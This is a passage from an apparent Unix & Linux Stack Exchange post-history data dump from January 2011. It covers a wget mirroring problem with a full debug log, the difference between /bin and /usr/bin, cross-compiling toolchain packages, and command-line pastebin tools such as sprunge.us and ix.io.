184.106.20.99&#xD;&#xA;    Caching posterous.com =&gt; 184.106.20.99&#xD;&#xA;    Releasing 0x089e3e20 (new refcount 1).&#xD;&#xA;    Found posterous.com in host_name_addresses_map (0x89e3e20)&#xD;&#xA;    Connecting to posterous.com|184.106.20.99|:80... connected.&#xD;&#xA;    Created socket 5.&#xD;&#xA;    Releasing 0x089e3e20 (new refcount 1).&#xD;&#xA;&#xD;&#xA;    ---request begin---&#xD;&#xA;    GET /sso/verify/2d35d71b1e728dc99f3c153eaf6f8fa0?jumpto=%2F HTTP/1.0&#xD;&#xA;&#xD;&#xA;    User-Agent: Wget/1.12 (linux-gnu)&#xD;&#xA;&#xD;&#xA;    Accept: */*&#xD;&#xA;&#xD;&#xA;    Host: posterous.com&#xD;&#xA;&#xD;&#xA;    Connection: Keep-Alive&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---request end---&#xD;&#xA;    HTTP request sent, awaiting response... &#xD;&#xA;    ---response begin---&#xD;&#xA;    HTTP/1.1 302 Found&#xD;&#xA;&#xD;&#xA;    Server: nginx/0.7.65&#xD;&#xA;&#xD;&#xA;    Date: Sat, 15 Jan 2011 10:33:46 GMT&#xD;&#xA;&#xD;&#xA;    Content-Type: text/html; charset=utf-8&#xD;&#xA;&#xD;&#xA;    Connection: close&#xD;&#xA;&#xD;&#xA;    Status: 302 Found&#xD;&#xA;&#xD;&#xA;    Location: http://tshepang.net/sso/recovery/2d35d71b1e728dc99f3c153eaf6f8fa0?jumpto=%2F&#xD;&#xA;&#xD;&#xA;    X-Runtime: 7&#xD;&#xA;&#xD;&#xA;    Set-Cookie: _sharebymail_session_id=296a636c8ed3cb6e4e7cabb10256008a; domain=.posterous.com; path=/; HttpOnly&#xD;&#xA;&#xD;&#xA;    Cache-Control: no-cache&#xD;&#xA;&#xD;&#xA;    Content-Length: 142&#xD;&#xA;&#xD;&#xA;    X-Varnish: 2019529137&#xD;&#xA;&#xD;&#xA;    Age: 0&#xD;&#xA;&#xD;&#xA;    Via: 1.1 varnish&#xD;&#xA;&#xD;&#xA;    X-Cache: MISS&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---response end---&#xD;&#xA;    302 Found&#xD;&#xA;    cdm: 1 2&#xD;&#xA;    Stored cookie posterous.com -1 (ANY) / &lt;session&gt; &lt;insecure&gt; [expiry none] _sharebymail_session_id 296a636c8ed3cb6e4e7cabb10256008a&#xD;&#xA;    Location: http://tshepang.net/sso/recovery/2d35d71b1e728dc99f3c153eaf6f8fa0?jumpto=%2F [following]&#xD;&#xA;    Closed fd 5&#xD;&#xA;    --2011-01-15 12:32:53--  http://tshepang.net/sso/recovery/2d35d71b1e728dc99f3c153eaf6f8fa0?jumpto=%2F&#xD;&#xA;    Reusing existing connection to tshepang.net:80.&#xD;&#xA;    Reusing fd 4.&#xD;&#xA;&#xD;&#xA;    ---request begin---&#xD;&#xA;    GET /sso/recovery/2d35d71b1e728dc99f3c153eaf6f8fa0?jumpto=%2F HTTP/1.0&#xD;&#xA;&#xD;&#xA;    User-Agent: Wget/1.12 (linux-gnu)&#xD;&#xA;&#xD;&#xA;    Accept: */*&#xD;&#xA;&#xD;&#xA;    Host: tshepang.net&#xD;&#xA;&#xD;&#xA;    Connection: Keep-Alive&#xD;&#xA;&#xD;&#xA;    Cookie: cookies_enabled=true&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---request end---&#xD;&#xA;    HTTP request sent, awaiting response... &#xD;&#xA;    ---response begin---&#xD;&#xA;    HTTP/1.1 302 Found&#xD;&#xA;&#xD;&#xA;    Server: nginx/0.7.65&#xD;&#xA;&#xD;&#xA;    Date: Sat, 15 Jan 2011 10:33:46 GMT&#xD;&#xA;&#xD;&#xA;    Content-Type: text/html; charset=utf-8&#xD;&#xA;&#xD;&#xA;    Connection: keep-alive&#xD;&#xA;&#xD;&#xA;    Status: 302 Found&#xD;&#xA;&#xD;&#xA;    Location: http://tshepang.net/&#xD;&#xA;&#xD;&#xA;    X-Runtime: 5&#xD;&#xA;&#xD;&#xA;    Set-Cookie: _sharebymail_session_id=cab0227db8c38f17e572984ee188dc5e; domain=tshepang.net; path=/; HttpOnly&#xD;&#xA;&#xD;&#xA;    Cache-Control: no-cache&#xD;&#xA;&#xD;&#xA;    Content-Length: 86&#xD;&#xA;&#xD;&#xA;    X-Varnish: 419207606&#xD;&#xA;&#xD;&#xA;    Age: 0&#xD;&#xA;&#xD;&#xA;    Via: 1.1 varnish&#xD;&#xA;&#xD;&#xA;    X-Cache: MISS&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---response end---&#xD;&#xA;    302 Found&#xD;&#xA;    cdm: 1 2&#xD;&#xA;    Stored cookie tshepang.net -1 (ANY) / &lt;session&gt; &lt;insecure&gt; [expiry none] _sharebymail_session_id cab0227db8c38f17e572984ee188dc5e&#xD;&#xA;    Location: http://tshepang.net/ [following]&#xD;&#xA;    Skipping 86 bytes of body: [&lt;html&gt;&lt;body&gt;You are being &lt;a href=&quot;http://tshepang.net/&quot;&gt;redirected&lt;/a&gt;.&lt;/body&gt;&lt;/html&gt;] done.&#xD;&#xA;    --2011-01-15 12:32:54--  http://tshepang.net/&#xD;&#xA;    Reusing existing connection to tshepang.net:80.&#xD;&#xA;    Reusing fd 4.&#xD;&#xA;&#xD;&#xA;    ---request begin---&#xD;&#xA;    GET / HTTP/1.0&#xD;&#xA;&#xD;&#xA;    User-Agent: Wget/1.12 (linux-gnu)&#xD;&#xA;&#xD;&#xA;    Accept: */*&#xD;&#xA;&#xD;&#xA;    Host: tshepang.net&#xD;&#xA;&#xD;&#xA;    Connection: Keep-Alive&#xD;&#xA;&#xD;&#xA;    Cookie: _sharebymail_session_id=cab0227db8c38f17e572984ee188dc5e; cookies_enabled=true&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---request end---&#xD;&#xA;    HTTP request sent, awaiting response... &#xD;&#xA;    ---response begin---&#xD;&#xA;    HTTP/1.1 200 OK&#xD;&#xA;&#xD;&#xA;    Server: nginx/0.7.65&#xD;&#xA;&#xD;&#xA;    Date: Sat, 15 Jan 2011 10:33:49 GMT&#xD;&#xA;&#xD;&#xA;    Content-Type: text/html; charset=utf-8&#xD;&#xA;&#xD;&#xA;    Connection: keep-alive&#xD;&#xA;&#xD;&#xA;    Status: 200 OK&#xD;&#xA;&#xD;&#xA;    ETag: &quot;6ec7aeb4e15e3a80e733f7c2b5e00d6f&quot;&#xD;&#xA;&#xD;&#xA;    X-Runtime: 1680&#xD;&#xA;&#xD;&#xA;    Cache-Control: private, max-age=0, must-revalidate&#xD;&#xA;&#xD;&#xA;    Content-Length: 66513&#xD;&#xA;&#xD;&#xA;    X-Varnish: 419207692&#xD;&#xA;&#xD;&#xA;    Age: 0&#xD;&#xA;&#xD;&#xA;    Via: 1.1 varnish&#xD;&#xA;&#xD;&#xA;    X-Cache: MISS&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---response end---&#xD;&#xA;    200 OK&#xD;&#xA;    Length: 66513 (65K) [text/html]&#xD;&#xA;    Saving to: `tshepang.net/index.html'&#xD;&#xA;&#xD;&#xA;         0K .......... .......... .......... .......... .......... 76% 25.7K 1s&#xD;&#xA;        50K .......... ....                                       100% 39.3K=2.3s&#xD;&#xA;&#xD;&#xA;    2011-01-15 12:32:58 (27.9 KB/s) - `tshepang.net/index.html' saved [66513/66513]&#xD;&#xA;&#xD;&#xA;    Deciding whether to enqueue &quot;http://tshepang.net/&quot;.&#xD;&#xA;    Already on the black list.&#xD;&#xA;    Decided NOT to load it.&#xD;&#xA;    Redirection &quot;http://tshepang.net/&quot; failed the test.&#xD;&#xA;    FINISHED --2011-01-15 12:32:58--&#xD;&#xA;    Downloaded: 1 files, 65K in 2.3s (27.9 KB/s)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Which other tools can I try?" />
  <row Id="13358" PostHistoryTypeId="2" PostId="5915" RevisionGUID="ed00477c-79fe-4e03-846e-b58fa56633d8" CreationDate="2011-01-15T10:43:04.620" UserId="3368" Text="I read this up on this website and it dosent make sense.&#xD;&#xA;&#xD;&#xA;http://rcsg-gsir.imsb-dsgi.nrc-cnrc.gc.ca/documents/basic/node32.html&#xD;&#xA;&#xD;&#xA;&gt; When UNIX was first written, /bin and&#xD;&#xA;&gt; /usr/bin physically resided on two&#xD;&#xA;&gt; different disks: /bin being on a&#xD;&#xA;&gt; smaller faster (more expensive) disk,&#xD;&#xA;&gt; and /usr/bin on a bigger slower disk.&#xD;&#xA;&gt; Now, /bin is a symbolic link to&#xD;&#xA;&gt; /usr/bin: they are essentially the&#xD;&#xA;&gt; same directory.&#xD;&#xA;&#xD;&#xA;but when you ls the `/bin` folder it has far less content than the `/usr/bin` folder (atleast on my running system).&#xD;&#xA;&#xD;&#xA;So can someone please explain the difference?" />
  <row Id="13359" PostHistoryTypeId="1" PostId="5915" RevisionGUID="ed00477c-79fe-4e03-846e-b58fa56633d8" CreationDate="2011-01-15T10:43:04.620" UserId="3368" Text="Difference between /bin and /usr/bin" />
  <row Id="13360" PostHistoryTypeId="3" PostId="5915" RevisionGUID="ed00477c-79fe-4e03-846e-b58fa56633d8" CreationDate="2011-01-15T10:43:04.620" UserId="3368" Text="élinuxàédirectoryà" />
  <row Id="13361" PostHistoryTypeId="2" PostId="5916" RevisionGUID="be078dd0-af30-4007-9d0d-468701522f1f" CreationDate="2011-01-15T10:53:45.710" UserId="29" Text="What? no `/bin/` is not a symlink to `/usr/bin` at least not on any FHS compliant system.&#xD;&#xA;&#xD;&#xA;[`/bin`](http://www.pathname.com/fhs/pub/fhs-2.3.html#BINESSENTIALUSERCOMMANDBINARIES)&#xD;&#xA;&lt;blockquote&gt;contains commands that may be used by both the system administrator and by users, but which are required when no other filesystems are mounted (e.g. in single user mode). It may also contain commands which are used indirectly by scripts&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;[`/usr/bin/`](http://www.pathname.com/fhs/pub/fhs-2.3.html#USRBINMOSTUSERCOMMANDS)&#xD;&#xA;&lt;blockquote&gt;This is the primary directory of executable commands on the system.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;essentially, `/bin` contains executables which are required by the system for emergency repairs, booting, and single user mode. `/usr/bin` contains any binaries that aren't required." />
  <row Id="13362" PostHistoryTypeId="25" PostId="5910" RevisionGUID="dff43bd8-ce4e-458b-bcea-8a64a6941d36" CreationDate="2011-01-15T10:55:34.937" Comment="http://twitter.com/#!/StackUnix/status/26231010358206464" />
  <row Id="13363" PostHistoryTypeId="5" PostId="5916" RevisionGUID="55dd6ecd-c4a0-4fe8-bc3a-1f4853684fe1" CreationDate="2011-01-15T11:03:14.927" UserId="29" Comment="note about disk separation " Text="What? no `/bin/` is not a symlink to `/usr/bin` at least not on any FHS compliant system.&#xD;&#xA;&#xD;&#xA;[`/bin`](http://www.pathname.com/fhs/pub/fhs-2.3.html#BINESSENTIALUSERCOMMANDBINARIES)&#xD;&#xA;&lt;blockquote&gt;contains commands that may be used by both the system administrator and by users, but which are required when no other filesystems are mounted (e.g. in single user mode). It may also contain commands which are used indirectly by scripts&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;[`/usr/bin/`](http://www.pathname.com/fhs/pub/fhs-2.3.html#USRBINMOSTUSERCOMMANDS)&#xD;&#xA;&lt;blockquote&gt;This is the primary directory of executable commands on the system.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;essentially, `/bin` contains executables which are required by the system for emergency repairs, booting, and single user mode. `/usr/bin` contains any binaries that aren't required.&#xD;&#xA;&#xD;&#xA;I will note, that they can be on separate disks/partitions, `/bin` must be on the same disk as `/`. `/usr/bin` can be on another disk. " />
  <row Id="13364" PostHistoryTypeId="6" PostId="5915" RevisionGUID="57076406-aa20-4111-b488-24b9ef882977" CreationDate="2011-01-15T11:10:50.303" UserId="29" Comment="add fhs tag" Text="élinuxàédirectoryàéfhsà" />
  <row Id="13365" PostHistoryTypeId="6" PostId="5860" RevisionGUID="8ce1d3a4-fe58-4555-94cd-c06ecdeb0be5" CreationDate="2011-01-15T11:14:02.607" UserId="29" Comment="add shell tag" Text="écommandölineàéshellàépermissionsà" />
  <row Id="13366" PostHistoryTypeId="5" PostId="5872" RevisionGUID="50a2109c-0517-4664-980c-bf880b2ae145" CreationDate="2011-01-15T11:39:29.330" UserId="2180" Comment="added 247 characters in body" Text="I have just learned of Gentoo's [sys-devel/crossdev][1] package. This is a package that is useful for creating a cross-compiling toolchain.&#xD;&#xA;&#xD;&#xA;Are there any other such packages out there on other distributions?&#xD;&#xA;&#xD;&#xA;I'm specifically interested in distro-maintained packages because I've tried a couple of others (buildroot, crosstool) and it seems that and any time the distribution touches gcc or binutils, it invariably breaks the building of the toolchain.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.gentoo-wiki.com/wiki/Crossdev" />
  <row Id="13370" PostHistoryTypeId="5" PostId="5872" RevisionGUID="3476d33e-b65b-4050-a1f4-b1d2e867d260" CreationDate="2011-01-15T11:52:43.817" UserId="2180" Comment="added 51 characters in body" Text="I have just learned of Gentoo's [sys-devel/crossdev][1] package. This is a package that is useful for creating a cross-compiling toolchain.&#xD;&#xA;&#xD;&#xA;Are there any other such packages out there on other distributions?&#xD;&#xA;&#xD;&#xA;I'm specifically interested in distro-maintained packages because I've tried a couple of others (buildroot, crosstool) and it seems that and any time the distribution touches gcc or binutils, it invariably breaks at least the building of the toolchain if not the building of the project itself.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.gentoo-wiki.com/wiki/Crossdev" />
  <row Id="13371" PostHistoryTypeId="2" PostId="5918" RevisionGUID="c0bbc6a1-86ae-4f08-880b-8e4eb0e43611" CreationDate="2011-01-15T12:07:15.947" UserId="2180" Text="I use an online service called [sprunge.us][1]. It lets you post pretty simply like this&#xD;&#xA;&#xD;&#xA;    command | curl -F &quot;sprunge=&lt;-&quot; http://sprunge.us&#xD;&#xA;&#xD;&#xA;I have `curl -F &quot;sprunge=&lt;-&quot; http://sprunge.us | xclip` aliased to `webshare` on my system, so it becomes simply `command | webshare`. The added xclip at the end gets the url into the X clipboard.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sprunge.us/" />
  <row Id="13372" PostHistoryTypeId="5" PostId="5918" RevisionGUID="2b7c547e-6121-4ff6-816e-f80836a39e1a" CreationDate="2011-01-15T12:14:15.753" UserId="2180" Comment="added 79 characters in body" Text="I use an online service called [sprunge.us][1]. It lets you post pretty simply like this&#xD;&#xA;&#xD;&#xA;    command | curl -F &quot;sprunge=&lt;-&quot; http://sprunge.us&#xD;&#xA;&#xD;&#xA;I have `curl -F &quot;sprunge=&lt;-&quot; http://sprunge.us | xclip` aliased to `webshare` on my system, so it becomes simply `command | webshare`. The added xclip at the end gets the url into the X clipboard; it's not on every system, and there are several other tools out there like it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sprunge.us/" />
  <row Id="13375" PostHistoryTypeId="25" PostId="5915" RevisionGUID="22f49c9c-8908-47ce-a9a9-9b77c398947f" CreationDate="2011-01-15T13:55:34.917" Comment="http://twitter.com/#!/StackUnix/status/26276309109841920" />
  <row Id="13376" PostHistoryTypeId="6" PostId="5910" RevisionGUID="1d2c9e84-04b3-4f2d-87e7-e9195a9a622d" CreationDate="2011-01-15T14:15:59.823" UserId="298" Comment="edited tags" Text="élinuxàéutilitiesàécommaneölineà" />
  <row Id="13377" PostHistoryTypeId="6" PostId="5910" RevisionGUID="decfd6ef-ea27-44aa-a891-ee47980ebeba" CreationDate="2011-01-15T14:16:19.930" UserId="298" Comment="edited tags" Text="élinuxàécommandölineàéutilitiesà" />
  <row Id="13378" PostHistoryTypeId="2" PostId="5920" RevisionGUID="9ba70f99-21a2-4ff9-815e-4d541d151d67" CreationDate="2011-01-15T14:26:31.573" UserId="688" Text="The `--no-cookies` option helped (thanks to [wag][1]):&#xD;&#xA;&#xD;&#xA;&gt; It seems like all the redirection caused wget to interrupt the request. Try with --no-cookies.&#xD;&#xA;&#xD;&#xA;This was determined from reading the attached log.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/users/3069/wag" />
  <row Id="13379" PostHistoryTypeId="5" PostId="5904" RevisionGUID="822c0dc9-2326-4a9c-a91b-d145ba5bf888" CreationDate="2011-01-15T14:31:47.653" UserId="688" Comment="deleted 21 characters in body; edited title" Text="I have tried using `wget --mirror http://tshepang.net/`, but it only retrieves one page, &quot;**tshepang.net/index.html**&quot;. Is this a bug in wget?&#xD;&#xA;&#xD;&#xA;Here's the output, from using the `--debug` option:&#xD;&#xA;&#xD;&#xA;    DEBUG output created by Wget 1.12 on linux-gnu.&#xD;&#xA;&#xD;&#xA;    Enqueuing http://tshepang.net/ at depth 0&#xD;&#xA;    Queue count 1, maxcount 1.&#xD;&#xA;    [IRI Enqueuing `http://tshepang.net/' with None&#xD;&#xA;    Dequeuing http://tshepang.net/ at depth 0&#xD;&#xA;    Queue count 0, maxcount 1.&#xD;&#xA;    --2011-01-15 12:32:51--  http://tshepang.net/&#xD;&#xA;    Resolving tshepang.net... 66.216.125.32&#xD;&#xA;    Caching tshepang.net =&gt; 66.216.125.32&#xD;&#xA;    Connecting to tshepang.net|66.216.125.32|:80... connected.&#xD;&#xA;    Created socket 4.&#xD;&#xA;    Releasing 0x089e2be0 (new refcount 1).&#xD;&#xA;&#xD;&#xA;    ---request begin---&#xD;&#xA;    GET / HTTP/1.0&#xD;&#xA;&#xD;&#xA;    User-Agent: Wget/1.12 (linux-gnu)&#xD;&#xA;&#xD;&#xA;    Accept: */*&#xD;&#xA;&#xD;&#xA;    Host: tshepang.net&#xD;&#xA;&#xD;&#xA;    Connection: Keep-Alive&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---request end---&#xD;&#xA;    HTTP request sent, awaiting response... &#xD;&#xA;    ---response begin---&#xD;&#xA;    HTTP/1.1 302 Found&#xD;&#xA;&#xD;&#xA;    Server: nginx/0.7.65&#xD;&#xA;&#xD;&#xA;    Date: Sat, 15 Jan 2011 10:33:45 GMT&#xD;&#xA;&#xD;&#xA;    Content-Type: text/html; charset=utf-8&#xD;&#xA;&#xD;&#xA;    Connection: keep-alive&#xD;&#xA;&#xD;&#xA;    Status: 302 Found&#xD;&#xA;&#xD;&#xA;    Location: http://posterous.com/sso/verify/2d35d71b1e728dc99f3c153eaf6f8fa0?jumpto=%2F&#xD;&#xA;&#xD;&#xA;    X-Runtime: 3&#xD;&#xA;&#xD;&#xA;    Set-Cookie: cookies_enabled=true; path=/&#xD;&#xA;&#xD;&#xA;    Cache-Control: no-cache&#xD;&#xA;&#xD;&#xA;    Content-Length: 141&#xD;&#xA;&#xD;&#xA;    X-Varnish: 419207385&#xD;&#xA;&#xD;&#xA;    Age: 0&#xD;&#xA;&#xD;&#xA;    Via: 1.1 varnish&#xD;&#xA;&#xD;&#xA;    X-Cache: MISS&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---response end---&#xD;&#xA;    302 Found&#xD;&#xA;&#xD;&#xA;    Stored cookie tshepang.net -1 (ANY) / &lt;session&gt; &lt;insecure&gt; [expiry none] cookies_enabled true&#xD;&#xA;    Registered socket 4 for persistent reuse.&#xD;&#xA;    Location: http://posterous.com/sso/verify/2d35d71b1e728dc99f3c153eaf6f8fa0?jumpto=%2F [following]&#xD;&#xA;    Skipping 141 bytes of body: [&lt;html&gt;&lt;body&gt;You are being &lt;a href=&quot;http://posterous.com/sso/verify/2d35d71b1e728dc99f3c153eaf6f8fa0?jumpto=%2F&quot;&gt;redirected&lt;/a&gt;.&lt;/body&gt;&lt;/html&gt;] done.&#xD;&#xA;    --2011-01-15 12:32:52--  http://posterous.com/sso/verify/2d35d71b1e728dc99f3c153eaf6f8fa0?jumpto=%2F&#xD;&#xA;    conaddr is: 66.216.125.32&#xD;&#xA;    Resolving posterous.com... 184.106.20.99&#xD;&#xA;    Caching posterous.com =&gt; 184.106.20.99&#xD;&#xA;    Releasing 0x089e3e20 (new refcount 1).&#xD;&#xA;    Found posterous.com in host_name_addresses_map (0x89e3e20)&#xD;&#xA;    Connecting to posterous.com|184.106.20.99|:80... connected.&#xD;&#xA;    Created socket 5.&#xD;&#xA;    Releasing 0x089e3e20 (new refcount 1).&#xD;&#xA;&#xD;&#xA;    ---request begin---&#xD;&#xA;    GET /sso/verify/2d35d71b1e728dc99f3c153eaf6f8fa0?jumpto=%2F HTTP/1.0&#xD;&#xA;&#xD;&#xA;    User-Agent: Wget/1.12 (linux-gnu)&#xD;&#xA;&#xD;&#xA;    Accept: */*&#xD;&#xA;&#xD;&#xA;    Host: posterous.com&#xD;&#xA;&#xD;&#xA;    Connection: Keep-Alive&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---request end---&#xD;&#xA;    HTTP request sent, awaiting response... &#xD;&#xA;    ---response begin---&#xD;&#xA;    HTTP/1.1 302 Found&#xD;&#xA;&#xD;&#xA;    Server: nginx/0.7.65&#xD;&#xA;&#xD;&#xA;    Date: Sat, 15 Jan 2011 10:33:46 GMT&#xD;&#xA;&#xD;&#xA;    Content-Type: text/html; charset=utf-8&#xD;&#xA;&#xD;&#xA;    Connection: close&#xD;&#xA;&#xD;&#xA;    Status: 302 Found&#xD;&#xA;&#xD;&#xA;    Location: http://tshepang.net/sso/recovery/2d35d71b1e728dc99f3c153eaf6f8fa0?jumpto=%2F&#xD;&#xA;&#xD;&#xA;    X-Runtime: 7&#xD;&#xA;&#xD;&#xA;    Set-Cookie: _sharebymail_session_id=296a636c8ed3cb6e4e7cabb10256008a; domain=.posterous.com; path=/; HttpOnly&#xD;&#xA;&#xD;&#xA;    Cache-Control: no-cache&#xD;&#xA;&#xD;&#xA;    Content-Length: 142&#xD;&#xA;&#xD;&#xA;    X-Varnish: 2019529137&#xD;&#xA;&#xD;&#xA;    Age: 0&#xD;&#xA;&#xD;&#xA;    Via: 1.1 varnish&#xD;&#xA;&#xD;&#xA;    X-Cache: MISS&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---response end---&#xD;&#xA;    302 Found&#xD;&#xA;    cdm: 1 2&#xD;&#xA;    Stored cookie posterous.com -1 (ANY) / &lt;session&gt; &lt;insecure&gt; [expiry none] _sharebymail_session_id 296a636c8ed3cb6e4e7cabb10256008a&#xD;&#xA;    Location: http://tshepang.net/sso/recovery/2d35d71b1e728dc99f3c153eaf6f8fa0?jumpto=%2F [following]&#xD;&#xA;    Closed fd 5&#xD;&#xA;    --2011-01-15 12:32:53--  http://tshepang.net/sso/recovery/2d35d71b1e728dc99f3c153eaf6f8fa0?jumpto=%2F&#xD;&#xA;    Reusing existing connection to tshepang.net:80.&#xD;&#xA;    Reusing fd 4.&#xD;&#xA;&#xD;&#xA;    ---request begin---&#xD;&#xA;    GET /sso/recovery/2d35d71b1e728dc99f3c153eaf6f8fa0?jumpto=%2F HTTP/1.0&#xD;&#xA;&#xD;&#xA;    User-Agent: Wget/1.12 (linux-gnu)&#xD;&#xA;&#xD;&#xA;    Accept: */*&#xD;&#xA;&#xD;&#xA;    Host: tshepang.net&#xD;&#xA;&#xD;&#xA;    Connection: Keep-Alive&#xD;&#xA;&#xD;&#xA;    Cookie: cookies_enabled=true&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---request end---&#xD;&#xA;    HTTP request sent, awaiting response... &#xD;&#xA;    ---response begin---&#xD;&#xA;    HTTP/1.1 302 Found&#xD;&#xA;&#xD;&#xA;    Server: nginx/0.7.65&#xD;&#xA;&#xD;&#xA;    Date: Sat, 15 Jan 2011 10:33:46 GMT&#xD;&#xA;&#xD;&#xA;    Content-Type: text/html; charset=utf-8&#xD;&#xA;&#xD;&#xA;    Connection: keep-alive&#xD;&#xA;&#xD;&#xA;    Status: 302 Found&#xD;&#xA;&#xD;&#xA;    Location: http://tshepang.net/&#xD;&#xA;&#xD;&#xA;    X-Runtime: 5&#xD;&#xA;&#xD;&#xA;    Set-Cookie: _sharebymail_session_id=cab0227db8c38f17e572984ee188dc5e; domain=tshepang.net; path=/; HttpOnly&#xD;&#xA;&#xD;&#xA;    Cache-Control: no-cache&#xD;&#xA;&#xD;&#xA;    Content-Length: 86&#xD;&#xA;&#xD;&#xA;    X-Varnish: 419207606&#xD;&#xA;&#xD;&#xA;    Age: 0&#xD;&#xA;&#xD;&#xA;    Via: 1.1 varnish&#xD;&#xA;&#xD;&#xA;    X-Cache: MISS&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---response end---&#xD;&#xA;    302 Found&#xD;&#xA;    cdm: 1 2&#xD;&#xA;    Stored cookie tshepang.net -1 (ANY) / &lt;session&gt; &lt;insecure&gt; [expiry none] _sharebymail_session_id cab0227db8c38f17e572984ee188dc5e&#xD;&#xA;    Location: http://tshepang.net/ [following]&#xD;&#xA;    Skipping 86 bytes of body: [&lt;html&gt;&lt;body&gt;You are being &lt;a href=&quot;http://tshepang.net/&quot;&gt;redirected&lt;/a&gt;.&lt;/body&gt;&lt;/html&gt;] done.&#xD;&#xA;    --2011-01-15 12:32:54--  http://tshepang.net/&#xD;&#xA;    Reusing existing connection to tshepang.net:80.&#xD;&#xA;    Reusing fd 4.&#xD;&#xA;&#xD;&#xA;    ---request begin---&#xD;&#xA;    GET / HTTP/1.0&#xD;&#xA;&#xD;&#xA;    User-Agent: Wget/1.12 (linux-gnu)&#xD;&#xA;&#xD;&#xA;    Accept: */*&#xD;&#xA;&#xD;&#xA;    Host: tshepang.net&#xD;&#xA;&#xD;&#xA;    Connection: Keep-Alive&#xD;&#xA;&#xD;&#xA;    Cookie: _sharebymail_session_id=cab0227db8c38f17e572984ee188dc5e; cookies_enabled=true&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---request end---&#xD;&#xA;    HTTP request sent, awaiting response... &#xD;&#xA;    ---response begin---&#xD;&#xA;    HTTP/1.1 200 OK&#xD;&#xA;&#xD;&#xA;    Server: nginx/0.7.65&#xD;&#xA;&#xD;&#xA;    Date: Sat, 15 Jan 2011 10:33:49 GMT&#xD;&#xA;&#xD;&#xA;    Content-Type: text/html; charset=utf-8&#xD;&#xA;&#xD;&#xA;    Connection: keep-alive&#xD;&#xA;&#xD;&#xA;    Status: 200 OK&#xD;&#xA;&#xD;&#xA;    ETag: &quot;6ec7aeb4e15e3a80e733f7c2b5e00d6f&quot;&#xD;&#xA;&#xD;&#xA;    X-Runtime: 1680&#xD;&#xA;&#xD;&#xA;    Cache-Control: private, max-age=0, must-revalidate&#xD;&#xA;&#xD;&#xA;    Content-Length: 66513&#xD;&#xA;&#xD;&#xA;    X-Varnish: 419207692&#xD;&#xA;&#xD;&#xA;    Age: 0&#xD;&#xA;&#xD;&#xA;    Via: 1.1 varnish&#xD;&#xA;&#xD;&#xA;    X-Cache: MISS&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---response end---&#xD;&#xA;    200 OK&#xD;&#xA;    Length: 66513 (65K) [text/html]&#xD;&#xA;    Saving to: `tshepang.net/index.html'&#xD;&#xA;&#xD;&#xA;         0K .......... .......... .......... .......... .......... 76% 25.7K 1s&#xD;&#xA;        50K .......... ....                                       100% 39.3K=2.3s&#xD;&#xA;&#xD;&#xA;    2011-01-15 12:32:58 (27.9 KB/s) - `tshepang.net/index.html' saved [66513/66513]&#xD;&#xA;&#xD;&#xA;    Deciding whether to enqueue &quot;http://tshepang.net/&quot;.&#xD;&#xA;    Already on the black list.&#xD;&#xA;    Decided NOT to load it.&#xD;&#xA;    Redirection &quot;http://tshepang.net/&quot; failed the test.&#xD;&#xA;    FINISHED --2011-01-15 12:32:58--&#xD;&#xA;    Downloaded: 1 files, 65K in 2.3s (27.9 KB/s)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13380" PostHistoryTypeId="4" PostId="5904" RevisionGUID="822c0dc9-2326-4a9c-a91b-d145ba5bf888" CreationDate="2011-01-15T14:31:47.653" UserId="688" Comment="deleted 21 characters in body; edited title" Text="Why am I failing to mirror a web site (using wget)?" />
  <row Id="13381" PostHistoryTypeId="2" PostId="5921" RevisionGUID="523cbbef-b070-401e-9b79-6ae81d0ed63f" CreationDate="2011-01-15T15:29:37.093" UserId="3839" Text="I use ix.io with an account set up in .netrc with its command line tool installed; its simple and cool.&#xD;&#xA;&#xD;&#xA;Then you can either pipe stuff through it like the above answer:&#xD;&#xA;&#xD;&#xA;    command which produces output | ix&#xD;&#xA;&#xD;&#xA;or directly paste a file:&#xD;&#xA;&#xD;&#xA;    ix &lt;filename&gt;&#xD;&#xA;&#xD;&#xA;this returns the url.&#xD;&#xA;&#xD;&#xA;Then I additionally set up a git alias for this so that I can easily paste my format-patches and get an url for it:&#xD;&#xA;&#xD;&#xA;    ~/.gitconfig:&#xD;&#xA;    [alias]    &#xD;&#xA;      post = !sh -c 'git format-patch --stdout $1 | ix' -&#xD;&#xA;&#xD;&#xA;To paste a patch I do, for example:&#xD;&#xA;&#xD;&#xA;    git post HEAD~1&#xD;&#xA;&#xD;&#xA;or to paste whatever is in your current buffer in vim:&#xD;&#xA;&#xD;&#xA;    :w ! ix&#xD;&#xA;&#xD;&#xA;for uploading files, not too big: http://paste.xinu.at/ with its client.&#xD;&#xA;" />
